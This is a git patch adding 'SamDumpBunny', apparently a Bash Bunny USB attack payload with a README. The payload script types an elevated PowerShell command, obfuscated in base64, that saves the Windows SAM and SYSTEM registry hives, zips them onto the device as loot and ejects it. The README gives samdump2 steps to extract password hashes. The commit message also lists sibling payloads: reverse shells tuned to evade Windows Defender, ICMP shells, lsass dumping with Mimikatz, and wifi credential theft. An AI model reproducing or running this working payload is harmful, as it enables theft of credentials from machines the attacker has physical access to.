From a8db5fd948468aef9c4a643267f49585c2593b17 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 9 Jun 2022 19:48:23 +0200 Subject: [PATCH] Uploaded SamDumpBunny (#532) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Uploaded ReverseBunny Obfuscated reverse shell via powershell * Uploaded WifiSnatch Get your targets stored wifi information and credentials, store them on your Bashbunny and hop away 🐇 * Update ReverseBunny.txt Changed payload to evade Windows Defender * Update payload.txt Added new "Eject Method" - props to Night(9o3) * Update README.md * Deleted ReverseBunny.txt Deleted because of higher risk to get caught by AV * Updated ReverseBunny to version 1.2 Updated ReverseBunny to version 1.2. - Deleted payload on disk because of AV - Added custom shell design * Updated ReverseBunny to version 1.2 Updated README for ReverseBunny update * Updated payload fixed some stupid left overs <3 * Uploaded pingUinBunny a reverse shell using icmp * Delete payloads/library/remote_access/switch1 directory * Uploaded pingUinBunny A reverse shell using icmp * Update README.md * Update README.md * Updated to PingZhell * Update Bunny.pl * Update README.md * Update README.md * Update payload.txt * Rename payloads/library/remote_access/pingUinBunny/Bunny.pl to payloads/library/remote_access/PingZhellBunny/Bunny.pl * Rename payloads/library/remote_access/pingUinBunny/PingZhell.ps1 to payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 * Rename payloads/library/remote_access/pingUinBunny/README.md to payloads/library/remote_access/PingZhellBunny/README.md * Rename payloads/library/remote_access/pingUinBunny/payload.txt to payloads/library/remote_access/PingZhellBunny/payload.txt * Update payload.txt * Update README.md * Update README.md * Update Bunny.pl * Created ProcDumpBunny Dump lsass.exe with a renamed version of procdump and get the users hashes with Mimikatz * Update README.md * Update payload.txt * Updated ReverseBunny Fixed wrong DELAY commands * Updated PingZhellBunny Fixed wrong DELAY commands * Updated WifiSnatch Fixed multiple mistakes * Uploaded HashDumpBunny Use your BashBunny to dump the user hashes of your target - similar to the msf post-module. The script was obfuscated with multiple layers, so don't be confused. If you don't trust this script, run it within a save testing space - which should be best practice anyways ;) * added example picture * Update README.md * Uploaded SessionBunny Utilize SessionGopher (Slightly modified) to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Afterwards decide which is important and what you want to save onto your BashBunny. * Uploaded SessionBunny Utilize the famous, here slightly modified SessionGopher script, to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Decide which inforamtion you wanna take with you - save it onto your BashBunny! * Update README.md * Delete SessionBunny directory * Uploaded MiniDumpBunny Dump lsass with this rewritten and for BashBunny adapted version of Powersploits Out-MiniDump. * Update README.md added disclaimer * Update README.md * Update README.md * Update README.md * Uploaded ReverseBunnySSL * Update README.md * Update README.md * Update payload.txt * Update README.md * Uploaded SamDumpBunny Dumps users sam & system hive, which can be used later to extract the users hashes --- .../credentials/SamDumpBunny/README.md | 21 ++++++++ .../credentials/SamDumpBunny/payload.txt | 53 +++++++++++++++++++ 2 files changed, 74 insertions(+) create mode 100644 payloads/library/credentials/SamDumpBunny/README.md create mode 100644 payloads/library/credentials/SamDumpBunny/payload.txt diff --git a/payloads/library/credentials/SamDumpBunny/README.md b/payloads/library/credentials/SamDumpBunny/README.md new file mode 100644 index 00000000..7d023d7e --- /dev/null +++ b/payloads/library/credentials/SamDumpBunny/README.md @@ -0,0 +1,21 @@ +**Title: SamDumpBunny** + +

Author: 0iphor13
+OS: Windows
+Version: 1.0
+ +**What is SamDumpBunny?** +# +

SamDumpBunny dumps the users sam and system hive and compresses them into a zip file.
+Afterwards you can use a tool like samdump2 to extract the users hashes.

+ + +**Instruction:** +1. Plug in your Bashbunny and wait a few seconds + +2. Unzip the exfiltrated zip file onto your machine. + +3. Use a tool like samdump2 on your machine to extract the users hashes. + > `samdump2 BunnySys BunnySam` + +![alt text](https://github.com/0iphor13/omg-payloads/blob/master/payloads/library/credentials/SamDumpCable/sam.png) \ No newline at end of file diff --git a/payloads/library/credentials/SamDumpBunny/payload.txt b/payloads/library/credentials/SamDumpBunny/payload.txt new file mode 100644 index 00000000..cc3120e3 --- /dev/null +++ b/payloads/library/credentials/SamDumpBunny/payload.txt @@ -0,0 +1,53 @@ +#!/bin/bash +# +# Title: SamDumpBunny +# Description: Dump users sam and system hive and exfiltrate them. Afterwards you can use a tool like samdump2, to get the users hashes. +# Author: 0iphor13 +# Version: 1.0 +# Category: Credentials +# Attackmodes: HID, Storage + +LED SETUP + +Q DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +Q DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +Q DELAY 1000 +RUN WIN "powershell Start-Process powershell -Verb runAs" +Q ENTER +Q DELAY 1000 + +#Shortcut for pressing yes - Needs to be adapted for your language (ger=ALT j;engl=ALT y; etc...) +Q ALT j +Q DELAY 250 + +Q DELAY 250 +Q STRING "powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAAQgB1AG4AbgB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlAC" +Q DELAY 250 +Q STRING "AAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAAQgB1AG4AbgB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgA" +Q DELAY 250 +Q STRING "CIAJABQAFcARABcAEIAdQBuAG4AeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABCAHUAbgBuAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBu" +Q DELAY 250 +Q STRING "AFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEIAdQBuAG4AeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAAQgB1AG4AbgB5AFMAeQBzADsAcgBl" +Q DELAY 250 +Q STRING "AG0AbwB2AGUALQBpAHQAZQBtACAAQgB1AG4AbgB5AFMAYQBtADsAZQB4AGkAdAA=" +Q DELAY 250 +Q STRING ";mv SamDumpBunny.zip ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\loot');\$bb = (gwmi win32_volume -f 'l" +Q DELAY 250 +Q STRING "abel=''BashBunny''').Name;Start-Sleep 1;New-Item -ItemType file \$bb'DONE';Start-Sleep 3;(New-Object -comObject Shel" +Q DELAY 250 +Q STRING "l.Application).Namespace(17).ParseName(\$bb).InvokeVerb('Eject');Start-Sleep -s 5;Exit" +Q DELAY 300 +Q ENTER + +LED FINISH \ No newline at end of file